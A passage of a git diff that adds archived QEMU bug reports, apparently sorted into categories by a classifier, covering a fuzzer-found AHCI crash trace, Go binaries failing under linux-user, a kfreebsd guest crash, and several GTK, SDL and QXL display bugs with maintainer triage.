build/../softmmu/runstate.c:722:9 +#14 0x555787d052ed in main build/../softmmu/main.c:50:5 +#15 0x7f6dcd84ecc9 in __libc_start_main csu/../csu/libc-start.c:308:16 +#16 0x555787c5b619 in _start (system-i386+0x2a13619) + +AddressSanitizer can not provide additional info. +SUMMARY: AddressSanitizer: SEGV build/../hw/ide/ahci.c:1349:46 in ahci_pio_transfer +==238806==ABORTING + +OSS-Fuzz link: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=30861 + +Confirmed. Please migrate to gitlab and assign me. + +--js + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/341 + + diff --git a/results/classifier/deepseek-1/output/flags./1696353 b/results/classifier/deepseek-1/output/flags./1696353 new file mode 100644 index 00000000..63c1b69b --- /dev/null +++ b/results/classifier/deepseek-1/output/flags./1696353 @@ -0,0 +1,102 @@ + +golang binaries fail to start under linux-user + +With current master golang binaries fail when run under linux-user, for example: + +[will@localhost qemu]$ ./arm-linux-user/qemu-arm glide +runtime: failed to create new OS thread (have 2 already; errno=22) +fatal error: newosproc + +runtime stack: +runtime.throw(0x45f879, 0x9) + /usr/lib/golang/src/runtime/panic.go:566 +0x78 +runtime.newosproc(0x1092c000, 0x1093bfe0) + /usr/lib/golang/src/runtime/os_linux.go:160 +0x1b0 +runtime.newm(0x4ae1e8, 0x0) + /usr/lib/golang/src/runtime/proc.go:1572 +0x12c +runtime.main.func1() + /usr/lib/golang/src/runtime/proc.go:126 +0x24 +runtime.systemstack(0x5ef900) + /usr/lib/golang/src/runtime/asm_arm.s:247 +0x80 +runtime.mstart() + /usr/lib/golang/src/runtime/proc.go:1079 + +goroutine 1 [running]: +runtime.systemstack_switch() + /usr/lib/golang/src/runtime/asm_arm.s:192 +0x4 fp=0x109287ac sp=0x109287a8 +runtime.main() + /usr/lib/golang/src/runtime/proc.go:127 +0x5c fp=0x109287d4 sp=0x109287ac +runtime.goexit() + /usr/lib/golang/src/runtime/asm_arm.s:998 +0x4 fp=0x109287d4 sp=0x109287d4 + +The reason for this is that the golang runtime does not pass the CLONE_SYSVMEM flag to clone so the clone flags checks fail: + +https://github.com/golang/go/blob/master/src/runtime/os_linux.go#L155 + +The attached patch allows golang binaries to start under linux-user. + + + +The problem with doing that is that it doesn't actually change the behaviour. We use pthread_create to create the new thread, which glibc does with a clone with CLONE_SYSVSEM set. We can't tell the difference between "guest program needs the new threads to not share SysV semaphore behaviour" and "guest program doesn't care but didn't provide the flag" so we err on the side of caution and refuse to create a thread that doesn't behave the way the guest asked us for it to behave. + + +True, but it used to work albeit with slightly wrong semantics. It now fails hard even though the golang runtime doesn't make any use of Sys V semaphores so the presence of the flag is not noticeable by any normal user. + +You can also apply this patch to go - I don't have an opinion on the correct course of action though! + +diff --git a/src/runtime/os_linux.go b/src/runtime/os_linux.go +index a6efc0e3d1..64218e3f7e 100644 +--- a/src/runtime/os_linux.go ++++ b/src/runtime/os_linux.go +@@ -132,7 +132,8 @@ const ( + _CLONE_FS | /* share cwd, etc */ + _CLONE_FILES | /* share fd table */ + _CLONE_SIGHAND | /* share sig handler table */ +- _CLONE_THREAD /* revisit - okay for now */ ++ _CLONE_THREAD | /* revisit - okay for now */ ++ _CLONE_SYSVSEM + ) + + //go:noescape + + +Note that there is a go bug about this issue too: https://github.com/golang/go/issues/20763 + +The go team have applied the above patch and I can confirm that it is now working properly using go-tip. This means it will be fixed in go 1.10. + +So if you recompile your go binary with go-tip or go 1.10 when it is released, it will run fine under qemu-system-arm. + +Since this has been fixed/worked around on the go side (thanks for following up with that!) I'm going to close this as "wontfix" on QEMU's side. It would be nice to support clone() with non-standard flags but since we can't do that while we still link with libc there's no way we can do this without a massive (and massively painful!) redesign to remove our libc dependency so that all of QEMU's linux-user code runs bare on the kernel. + + +I just gave it a test with qemu-arm and Go binaries still crash for me, albeit differently: + +root@nofan:/# cat hello.go +package main + +import "fmt" + +func main() { + fmt.Println("hello world") +} +root@nofan:/# gccgo-7 hello.go -o hello +root@nofan:/# ./hello +mmap errno 9 +fatal error: mmap + +runtime stack: +mmap errno 9 +fatal error: mmap +panic during panic + +runtime stack: +mmap errno 9 +fatal error: mmap +stack trace unavailable +root@nofan:/# + +Should I file a new bug report? + +Yes, new bug please, that's definitely a different symptom and likely an unrelated issue. + + diff --git a/results/classifier/deepseek-1/output/further./638806 b/results/classifier/deepseek-1/output/further./638806 new file mode 100644 index 00000000..474eeb18 --- /dev/null +++ b/results/classifier/deepseek-1/output/further./638806 @@ -0,0 +1,103 @@ + +Crashes with kfreebsd guest when using KVM + +commit 46411f863c26ff85c48b97939502007610c95398 + +Linux host +Kfreebsd guest +qemu -boot c -hda qemu_kfreebsd_i386.img -enable-kvm + +QEMU crashes with free on invalid pointer: + +*** glibc detected *** qemu: free(): invalid pointer: 0x000000000253cf60 *** +======= Backtrace: ========= +/lib/libc.so.6(+0x71ad6)[0x7f0844fa5ad6] +qemu[0x494283] +qemu[0x4951ca] +qemu[0x49aa01] +qemu[0x495d15] +qemu[0x5197f4] +qemu[0x51a297] +/lib/libc.so.6(__libc_start_main+0xfd)[0x7f0844f52c4d] +qemu[0x408799] +======= Memory map: ======== +00400000-00625000 r-xp 00000000 08:06 4186599 /usr/local/bin/qemu +00825000-00847000 rw-p 00225000 08:06 4186599 /usr/local/bin/qemu +00847000-00fed000 rw-p 00000000 00:00 0 +00fed000-00fee000 rwxp 00000000 00:00 0 +00fee000-0104b000 rw-p 00000000 00:00 0 +022fe000-023ff000 rw-p 00000000 00:00 0 +023ff000-0240f000 rw-p 00000000 00:00 0 +0240f000-0255d000 rw-p 00000000 00:00 0 +41cd2000-43cd2000 rwxp 00000000 00:00 0 +7f0835c22000-7f0835c38000 r-xp 00000000 08:06 3407959 /lib/libgcc_s.so.1 +7f0835c38000-7f0835e37000 ---p 00016000 08:06 3407959 /lib/libgcc_s.so.1 +7f0835e37000-7f0835e38000 rw-p 00015000 08:06 3407959 /lib/libgcc_s.so.1 +7f0835e38000-7f0835e3d000 r-xp 00000000 08:06 4185228 /usr/lib/libXfixes.so.3.1.0 +7f0835e3d000-7f083603c000 ---p 00005000 08:06 4185228 /usr/lib/libXfixes.so.3.1.0 +7f083603c000-7f083603d000 rw-p 00004000 08:06 4185228 /usr/lib/libXfixes.so.3.1.0 +7f083603d000-7f0836046000 r-xp 00000000 08:06 4178659 /usr/lib/libXcursor.so.1.0.2 +7f0836046000-7f0836246000 ---p 00009000 08:06 4178659 /usr/lib/libXcursor.so.1.0.2 +7f0836246000-7f0836247000 rw-p 00009000 08:06 4178659 /usr/lib/libXcursor.so.1.0.2 +7f0836247000-7f0836294000 rw-p 00000000 00:00 0 +7f083631c000-7f0836491000 r--p 00000000 08:06 3670017 /usr/lib/locale/locale-archive +7f0836491000-7f0836499000 r-xp 00000000 08:06 516333 /usr/lib/libXrandr.so.2.2.0 +7f0836499000-7f0836698000 ---p 00008000 08:06 516333 /usr/lib/libXrandr.so.2.2.0 +7f0836698000-7f0836699000 rw-p 00007000 08:06 516333 /usr/lib/libXrandr.so.2.2.0 +7f0836699000-7f08366a2000 r-xp 00000000 08:06 4180666 /usr/lib/libXrender.so.1.3.0 +7f08366a2000-7f08368a2000 ---p 00009000 08:06 4180666 /usr/lib/libXrender.so.1.3.0 +7f08368a2000-7f08368a3000 rw-p 00009000 08:06 4180666 /usr/lib/libXrender.so.1.3.0 +7f08368a3000-7f08368b4000 r-xp 00000000 08:06 4181769 /usr/lib/libXext.so.6.4.0 +7f08368b4000-7f0836ab4000 ---p 00011000 08:06 4181769 /usr/lib/libXext.so.6.4.0 +7f0836ab4000-7f0836ab5000 rw-p 00011000 08:06 4181769 /usr/lib/libXext.so.6.4.0 +7f0836ad6000-7f0836ad7000 ---p 00000000 00:00 0 +7f0836ad7000-7f0836f5b000 rw-p 00000000 00:00 0 +7f0836f6e000-7f0837088000 rw-s 00000000 00:04 1900557 /SYSV00000000 (deleted) +7f0837088000-7f0837089000 rw-p 00000000 00:00 0 +7f0837089000-7f0837889000 rw-p 00000000 00:00 0 +7f0837889000-7f083788b000 rw-p 00000000 00:00 0 +7f083788b000-7f083f88b000 rw-p 00000000 00:00 0 +7f083f88b000-7f083f88c000 rw-p 00000000 00:00 0 +7f083f88c000-7f083f88d000 ---p 00000000 00:00 0 +7f083f88d000-7f0841a8f000 rw-p 00000000 00:00 0 +7f0841a8f000-7f0841a94000 r-xp 00000000 08:06 4183916 /usr/lib/libXdmcp.so.6.0.0 +7f0841a94000-7f0841c93000 ---p 00005000 08:06 4183916 /usr/lib/libXdmcp.so.6.0.0 +7f0841c93000-7f0841c94000 rw-p 00004000 08:06 4183916 /usr/lib/libXdmcp.so.6.0.0 +7f0841c94000-7f0841c96000 r-xp 00000000 08:06 4183879 /usr/lib/libXau.so.6.0.0 +7f0841c96000-7f0841e96000 ---p 00002000 08:06 4183879 /usr/lib/libXau.so.6.0.0 +7f0841e96000-7f0841e97000 rw-p 00002000 08:06 4183879 /usr/lib/libXau.so.6.0.0 +7f0841e97000-7f0841eb6000 r-xp 00000000 08:06 3407929 /lib/libx86.so.1 +7f0841eb6000-7f08420b6000 ---p 0001f000 08:06 3407929 /lib/libx86.so.1 +7f08420b6000-7f08420b8000 rw-p 0001f000 08:06 3407929 /lib/libx86.so.1 +7f08420b8000-7f08420b9000 rw-p 00000000 00:00 0 +7f08420b9000-7f08420bc000 r-xp 00000000 08:06 4181768 /usr/lib/libgpg-error.so.0.4.0 +7f08420bc000-7f08422bb000 ---p 00003000 08:06 4181768 /usr/lib/libgpg-error.so.0.4.0 +7f08422bb000-7f08422bc000 rw-p 00002000 08:06 4181768 /usr/lib/libgpg-error.so.0.4.0 +7f08422bc000-7f08422be000 r-xp 00000000 08:06 3407931 /lib/libkeyutils.so.1.3 +7f08422be000-7f08424bd000 ---p 00002000 08:06 3407931 /lib/libkeyutils.so.1.3 +7f08424bd000-7f08424be000 rw-p 00001000 08:06 3407931 /lib/libkeyutils.so.1.3 +7f08424be000-7f08424c5000 r-xp 00000000 08:06 516340 /usr/lib/libkrb5support.so.0.1 +7f08424c5000-7f08426c5000 ---p 00007000 08:06 516340 /usr/lib/libkrb5support.so.0.1 +7f08426c5000-7f08426c6000 rw-p 00007000 08:06 516340 /usr/lib/libkrb5support.so.0.1 +7f08426c6000-7f08426c9000 r-xp 00000000 08:06 3407916 /lib/libcom_err.so.2.1 +7f08426c9000-7f08428c8000 ---p 00003000 08:06 3407916 /lib/libcom_err.so.2.1 +7f08428c8000-7f08428c9000 rw-p 00002000 08:06 3407916 /lib/libcom_err.so.2.1 +7f08428c9000-7f08428ee000 r-xp 00000000 08:06 4178134 /usr/lib/libk5crypto.so.3.1 +7f08428ee000-7f0842aed000 ---p 00025000 08:06 4178134 /usr/lib/libk5crypto.so.3.1 +7f0842aed000-7f0842aef000 rw-p 00024000 08:06 4178134 /usr/lib/libk5crypto.so.3.1 +7f0842aef000-7f0842bad000 r-xp 00000000 08:06 516332 /usr/lib/libkrb5.so.3.3 +7f0842bad000-7f0842dac000 ---p 000be000 08:06 516332 /usr/lib/libkrb5.so.3.3 +7f0842dac000-7f0842db7000 rw-p 000bd000 08:06 516332 /usr/lib/libkrb5.so.3.3 +7f0842db7000-7f0842dd0000 r-xp 00000000 08:06 516360 /usr/lib/libsasl2.so.2.0.23 +7f0842dd0000-7f0842fcf000 ---p 00019000 08:06 516360 /usr/lib/libsasl2.so.2.0.23 +7f0842fcf000-7f0842fd0000 rw-p 00018000 08:06 516360 /usr/lib/libsasl2.so.2.0.23 +7f0842fd0000-7f0842fe3000 r-xp 00000000 08:06 3408041 /lib/libresolv-2.11.2.so + +Configure command used: + +./configure --enable-linux-aio --enable-io-thread --enable-kvm + +Triaging old bug tickets ... can you still reproduce this problem with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1186935 b/results/classifier/deepseek-1/output/graphic/1186935 new file mode 100644 index 00000000..e27e1386 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1186935 @@ -0,0 +1,34 @@ + +[1.5] QEMU monitor gets overlapped by GTK menu bar + +The QEMU minitor gets partially hidden by the menu bar which was introduced in QEMU version 1.5.0. + +Steps to reproduce: + + 1. Run `qemu-system-x86_64` + 2. Press Ctrl + Alt + 2 (or use the menu bar) + 3. Observe that the monitor output is partially shown, without the "compat_monitor0 console" and "QEMU 1.5.0 monitor - type 'help' for more information" lines. + +Attached is a screenshot of `qemu-system-x86_64` and `qemu-system-x86_64 -display sdl`. + +Version: 1.5.0 +Distribution: Arch Linux 64-bit + + + +What version of gtk is this? + +gtk 3.8.2 + +This seems to be a bug when building against gtk3. + +When building against gtk 3.8.2: +- monitor text gets hidden behind menu bar +- a bar appears on the bottom, growing as the window is resized. When the contents overflows (a scrollbar appears), this bar is gone. + +Building against gtk 2.24.18 / vte 0.28.2 resolves the above issues. + +Can you still reproduce this issue with the latest version of QEMU / the latest version of gtk? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1216368 b/results/classifier/deepseek-1/output/graphic/1216368 new file mode 100644 index 00000000..f9aa8346 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1216368 @@ -0,0 +1,40 @@ + +unsupported screen resolution crashes sdl-qemu + +if the (windows) guest sets a screen resolution that the SDL backend does not support, +qemu does an exit(1). +with this fix, the the resolution is still wrong (only part of the desktop is displayed), +but qemu keeps running and the guest can auto-revert the video mode: + +ui/sdl.c:do_sdl_resize() + SDL_Surface * tmp_screen; + tmp_screen = SDL_SetVideoMode(width, height, bpp, flags); + if (!tmp_screen) { +// fprintf(stderr, "Could not open SDL display (%dx%dx%d): %s\n", width, +// height, bpp, SDL_GetError()); +// exit(1); + } else { + real_screen = tmp_screen; + } + +Sorry, a little confusion what's the problem you want to solve? + +its in the first sentence. let me rephrase: the (windows) guest can select some screen resolution which SDL cannot +provide. what happens is that qemu quits without giving the quest a chance to shut down. thats like having a monitor +that crashes windows when it doesnt support the video mode. + +Yes, it is a bug. It should go back to the previous setting if the new screen resolution falied. +I will send a patch later. + +Thanks. + +Patch posted: + +http://patchwork.ozlabs.org/patch/270084/ + +this patch does solve the problem + +Patch has been included here a while ago already: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=898ae2846de4dcb1 +... so this ticket could now be marked as fixed. + diff --git a/results/classifier/deepseek-1/output/graphic/1326533 b/results/classifier/deepseek-1/output/graphic/1326533 new file mode 100644 index 00000000..b7399ba8 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1326533 @@ -0,0 +1,24 @@ + +SDL2 UI sends a NULL to sdl_grab_start if fullscreen, which crashes + +in ui/sdl2.c: + + if (full_screen) { + gui_fullscreen = 1; + sdl_grab_start(0); + } + +Is sent, but no null checks are made in sdl_grab_start (its assumed to be an allocated pointer). So a crash happens if you start qemu -full-screen. + +It should at lease send the first [0] of the newly allocated sdl2_console through. + +Quickly looking around should look something like: + + if (full_screen) { + gui_fullscreen = 1; + sdl_grab_start(&sdl2_console[0]); + } + +The NULL pointer check has been added here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=f2335791fd0ceb2f9e3 + diff --git a/results/classifier/deepseek-1/output/graphic/1379688 b/results/classifier/deepseek-1/output/graphic/1379688 new file mode 100644 index 00000000..9b654bf2 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1379688 @@ -0,0 +1,26 @@ + +qemu's monitor and parallel create huge window + +I have qemu 2.1. When I try to switch to monitor or parallel0, I get window which is 30 *thousand* pixels in height. It is only gray with no content. This did not happen with previous versions of qemu. + +Kwin crashes because it cannot handle such a huge window. + +1.6.0 is good at least. + +2.1 is OK with vte 2.90, not with 2.91 + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +On 02/08/2018, 08:32 PM, Thomas Huth wrote: +> Triaging old bug tickets... can you still reproduce this issue with the +> latest version of QEMU? Or could we close this ticket nowadays? + +The issue is long gone, feel free to close. + + +-- +js + + +Thanks for your answer! Closing now. + diff --git a/results/classifier/deepseek-1/output/graphic/1452742 b/results/classifier/deepseek-1/output/graphic/1452742 new file mode 100644 index 00000000..60a3c9d4 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1452742 @@ -0,0 +1,36 @@ + +the option for vdagent communication needed for qxl scren resizing is not documented + +Hello, + +I tried running a guest with vdagent which is supposed to resize the guest screen to match client window size. + +However, a special serial port needs to be created for the vdagent to communicate with the client. + +This patch adds a short note to the vga qxl option. + + + +To be able to include your patch, you've got to send it to the qemu-devel mailing list, with a proper Signed-off-by line. Please see http://qemu-project.org/Contribute/SubmitAPatch#Submitting_your_Patches for details. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/424 + + diff --git a/results/classifier/deepseek-1/output/graphic/1453436 b/results/classifier/deepseek-1/output/graphic/1453436 new file mode 100644 index 00000000..cb9f75be --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1453436 @@ -0,0 +1,96 @@ + +Building on OS X: Undefined symbols ___emutls_v.prng_state and ___emutls_v.prng_state_data + +Trying to build qemu on my system fails during linking with the error: + +Undefined symbols for architecture x86_64: + "___emutls_v.prng_state", referenced from: + _main in region-test.o + __GLOBAL__sub_I_65535_0_region_test.c in region-test.o + "___emutls_v.prng_state_data", referenced from: + _main in region-test.o + __GLOBAL__sub_I_65535_0_region_test.c in region-test.o + +My setup: + +OS: OS X 10.10.3, 64bit +gcc: 5.1.0 +clang: 6.1.0 + +configure command: + +configure --prefix="$HOME/local" --cc=clang --host-cc=clang --cxx=clang++ + +It makes no difference whether I try to build in the source directory or somewhere else. +It is the same for qemu release 2.3.0 and qemu git@f8340b360b9bc29d48716ba8aca79df2b9544979. + +Now this is clearly happening in the pixman submodule, but it does not seem to be a pixman issue, as I can clone git://anongit.freedesktop.org/pixman @cf086d4949092861dc3729465a3881d229cc1060 and build it without any errors with just : + +configure --prefix="$HOME/local" +make + +It also works with + +configure --prefix="$HOME/local" CC=clang CXX=clang++ +make + +although then OpenMP is disabled. +Also, running + +nm qemu/pixman/test/utils.o + +gives me (amongst other stuff): + +0000000000000020 C ___emutls_v.prng_state +0000000000000020 C ___emutls_v.prng_state_data + +So the symbols are actually there, it's really just linking that fails. + +On 9 May 2015 at 19:19, Molt <email address hidden> wrote: +> Public bug reported: +> +> Trying to build qemu on my system fails during linking with the error: +> +> Undefined symbols for architecture x86_64: +> "___emutls_v.prng_state", referenced from: +> _main in region-test.o +> __GLOBAL__sub_I_65535_0_region_test.c in region-test.o +> "___emutls_v.prng_state_data", referenced from: +> _main in region-test.o +> __GLOBAL__sub_I_65535_0_region_test.c in region-test.o +> +> My setup: +> +> OS: OS X 10.10.3, 64bit +> gcc: 5.1.0 +> clang: 6.1.0 +> +> configure command: +> +> configure --prefix="$HOME/local" --cc=clang --host-cc=clang +> --cxx=clang++ + +I build on OSX 10.10.3 with that clang version, but I build with +the system pixman (in /opt/X11 and presumably part of the optional +X11 OSX download), so I guess that's the difference in our setups +here. + +I tried building having configured --without-system-pixman, +but that seems to fail to compile much earlier than your error: + +make[3]: *** No rule to make target `pixman-combine.h.template', +needed by `pixman-combine32.h'. Stop. + +-- PMM + + +I have XQuartz 2.7.7 installed and there is no pixman in /opt/X11/bin. + +It's /opt/X11/lib/libpixman-1.dylib and /opt/X11/include/pixman-1/ for me, but yes, it's possible I've got that from somewhere other than XQuartz. + + +Ah well, I only have the "normal" PATH set, not library or include path. +But I managed to build qemu now by just building pixman separately. + +According to comment #4, the build finally worked, so I'm closing this ticket now. + diff --git a/results/classifier/deepseek-1/output/graphic/1479717 b/results/classifier/deepseek-1/output/graphic/1479717 new file mode 100644 index 00000000..fb0cd745 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1479717 @@ -0,0 +1,44 @@ + +Auto resize VM doesn't work with windows 10 guest + +I,m using a Ubuntu 15.04 host and a windows 10 guest (both 64 bit) on a intel i7 proc. My ubuntu system is up-to-date and I'm using QEMU emulator version 2.2.0. I use virt-manager 1.0.1 and SPICE guest tools 0.100 are installed on the guest. + +With the exactly same setup and a windows 7 guest I can set "Auto resize VM with window" and it perfectly works. After installing SPICE in windows 10 I can still select this box, but it doesn't work any longer. + +I've observed the same issue (in Ubuntu Gnome 15.04). In addition, when I select '' from the Virtual Machine Manager, View, Scale Display, Auto Resize VM with Window, the guest's screen starts flickering. + +On Windows 10 64bit, virtio drivers and QXL installed from ISO extracted out the RPM here: https://fedorapeople.org/groups/virt/virtio-win/repo/latest/virtio-win-0.1.110-2.noarch.rpm. In all cases, I installed the Windows 8.1 x64 option, given w10 drivers are not yet included in the ISO. The windows QXL drivers haven't been updated since July 28th (v22.33.46.473) . + +There is a commit on github about windows 10 signatures here which suggests more formal support for Windows 10 is getting closer for some of the virtio driver set: https://github.com/crobinso/virtio-win-pkg-scripts/commit/342a5aaf632fa11cfd2e69acf589dd00c15f72ca + +Note, qxl-dod comes from http://cgit.freedesktop.org/spice/win32/qxl. I don't see any recent commits related to Windows 10 support. + +Red Hat bugzilla doesn't seem to have the auto resize VM bug noted anywhere? Perhaps this should be propagated upstream? + +Should someone else stumble upon this, the way to resolve issues for now is to not use gnome boxes, but rather remote-viewer and perhaps there's an issue with BIOS/EFI graphics setup with Windows 10 guests? + +After a lucky coincidence, flickering seems to have be resolved for me while tweaking something else (OVMF NVRAM for EFI). It might have simply been manually updating OVMF or adding the NVRAM / VARS piece to my VM Win 10 guest config. I'm not sure. + +What I can report: +* virt-viewer / remote-viewer, virt-manager and gnome boxes have have stopped flickering +* virt-viewer / remote-viewer are now auto-adjusting windows 10 properly to the windows size +* gnome boxes is scaling (zooming in and out) the Windows 10 display instead of auto-adjusting the guest resolution +** Unlike the Windows 10 guest, When I test a Linux VM with the spice agent installed, it auto-adjusts the guest resolution +* virt-manager is not, it's simply cropping the output + +So I think something about how Gnome Boxes handles the Windows 10 guest is inferior to the way in which remote viewer does (when EFI is used, which does affect graphics setup). But perhaps wait till spice-agent officially supports Windows 10 with proper drivers, given you may not care for people like me who try their luck with the Windows 8.1 drivers in Windows 10. + +More detail on the EFI NVRAM issue? + +See: https://bugs.launchpad.net/ubuntu/+source/libvirt/+bug/1483071 + +Hacking around a debian/ubuntu distro specific libvirt apparmor bug allowed me to use a proper OVMF nvram template to the virtual machine config, and after reconfiguring the VM to use this, the display flickering stopped, so this may be something to do with UEFI simulation and windows 10 on KVM (but given my day job as just a virtualisation user, debugging that or understanding that low level interaction is beyond me). + +I shared similar info on a related bug where gnome boxes removed the ability to control scale and auto-adjust options for the spice display behaviour +https://bugzilla.gnome.org/show_bug.cgi?id=729700 + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1485180 b/results/classifier/deepseek-1/output/graphic/1485180 new file mode 100644 index 00000000..1604b5a7 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1485180 @@ -0,0 +1,27 @@ + +Ctrl Alt G -- Multiple Virtual Machines + +I'm using Fedora 22. + +Firstly, what works: +A single VM instance, running Windows. Although, I am keeping this (GTK) window focused. + +What really fails: +If I have two running VM's, WIndows XP and Windows Vista: +1. I press Ctrl-Alt-G to get the focus. +2. That works first time. +3. Then I press Ctrl-Alt-G again. +4. Then Alt-Tab to the other machine (switching from XP to Vista, or back.) +5. Then press Ctrl-Alt-G to gain focus: +- Problem is that now the Ctrl-Alt-G, although showing in the title bar, only grabs the mouse, but NOT the keyboard. That is to say, whilst in Ctrl-Alt-G mode the second time, pressing Alt-Tab jumps back to the other VM! + +Pressing Alt-F4 quits!!!!!!!!!!!!! Regardless of whether Ctrl-Alt-G mode or not! +But only when running two VM's. + +Thanks +Misha + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU (version 3.0)? Which window manager were you using here? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1534683 b/results/classifier/deepseek-1/output/graphic/1534683 new file mode 100644 index 00000000..e0962805 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1534683 @@ -0,0 +1,19 @@ + +no mouse cursor / qxl / windows seven guest + +Hello, +When i'm using qxl graphic card with qemu 2.4.1 , and sdl2 client ( display ) , in a windows seven guest vm , there's no mouse cursor. +I'm using last qxl driver. + +With windows8.1 , there is no problem, mouse cursor is present. + +I need this to use two monitor with a windows guest, + +any suggestions are welcome, +Regards, + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1555076 b/results/classifier/deepseek-1/output/graphic/1555076 new file mode 100644 index 00000000..ea049bcf --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1555076 @@ -0,0 +1,50 @@ + +Qemu 2.5 dont start with sdl,gl=on or gtk,gl=on + +with this config line + qemu-system-i386 -m 2047 -hda /dev/sda3 -display sdl,gl=on -sdl -vga virtio -cdrom xenial-desktop-i386.iso + + +i have this exit + +ERROR:ui/console-gl.c:95:surface_gl_create_texture: code should not be reached + +same is i use this: + +qemu-system-i386 -m 2047 -hda /dev/sda3 -display gtk,gl=on -sdl -vga virtio -cdrom xenial-desktop-i386.iso +ERROR:ui/console-gl.c:95:surface_gl_create_texture: code should not be reached + + +My Os i Debian Jessie on P5020 PPC64 4GB ram GPU RadeonHD . +Configure gave me gl ok, sdl ok , Virtio and Virgl OK . + +My Mesa are the 11.3 dev ... the same issue was found on oldest and stable release of mesa . + +OpenGL vendor string: X.Org +OpenGL renderer string: Gallium 0.4 on AMD TURKS (DRM 2.43.0) +OpenGL version string: 2.1 Mesa 11.3.0-devel (git-3146014) +OpenGL shading language version string: 1.30 + + +OpenGL ES profile version string: OpenGL ES 2.0 Mesa 11.3.0-devel (git-3146014) +OpenGL ES profile shading language version string: OpenGL ES GLSL ES 1.0.16 + + +Thanks +Luigi + +Is this the same issue as the bug reported here: +https://bugs.launchpad.net/qemu/+bug/1581796 +? + +Sorry T, +i forget had been reported and duplicate the bug report. +can merge or close this one. + +i will check with your suggestion and report. + +Fix has been pulled into the QEMU git repository: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=2c2311c5451f4555e850772 + +Released with version 2.7 + diff --git a/results/classifier/deepseek-1/output/graphic/1556044 b/results/classifier/deepseek-1/output/graphic/1556044 new file mode 100644 index 00000000..4ec0d553 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1556044 @@ -0,0 +1,14 @@ + +Redox GUI hangs with 100% CPU on ARM + +Booting into Redox OS cli on ARM with qemu-system-i386 works fine. However, starting the Redox GUI (orbital) brings up the graphical interface and then starts using 100% CPU. I'd guess it's related to mouse detection and handling. + +The OS image is fully usable on x86. + + +https://www.dropbox.com/s/u6v2k9wzcuiycfo/redox-disk.img.xz?dl=0 + +Which QEMU version have you been using here? Can you still reproduce the problem with the latest upstream version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1556372 b/results/classifier/deepseek-1/output/graphic/1556372 new file mode 100644 index 00000000..9d3b7290 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1556372 @@ -0,0 +1,27 @@ + +Superfluous popup on Cocoa to verify quit, cannot be disabled. + +This patch severely reduces the quality of life for developers using QEMU in a rapid Edit-Compile-Test cycle. +Any method of quitting QEMU via the UI triggers this dialogue, whose default option is "cancel" -- necessitating the use of the mouse to click "Confirm". + +This dialogue cannot be disabled by any flag, and is highly annoying. Recommend a flag to disable this confirmation, or in fact disable it by default and enable it with a flag. + +Patch in question: + +https://lists.gnu.org/archive/html/qemu-devel/2015-09/msg05031.html + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1615212 b/results/classifier/deepseek-1/output/graphic/1615212 new file mode 100644 index 00000000..a6000e55 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1615212 @@ -0,0 +1,23 @@ + +SDL UI switching to monitor half-broken and scrolling broken + +ctrl+alt+2 must be pressed 2 or more times for the monitor console window to appear with -sdl, the window flashes and disappears also before finally staying open + +backspace does not always work in -sdl also, and switching back and forth very quickly from the vga to the monitor windows, it hangs + +you need to do a proper code review of all the user interfaces. + +This is described a bit more here: + + https://lists.gnu.org/archive/html/qemu-devel/2016-05/msg00946.html + +But basically it's a libsdl bug: + + 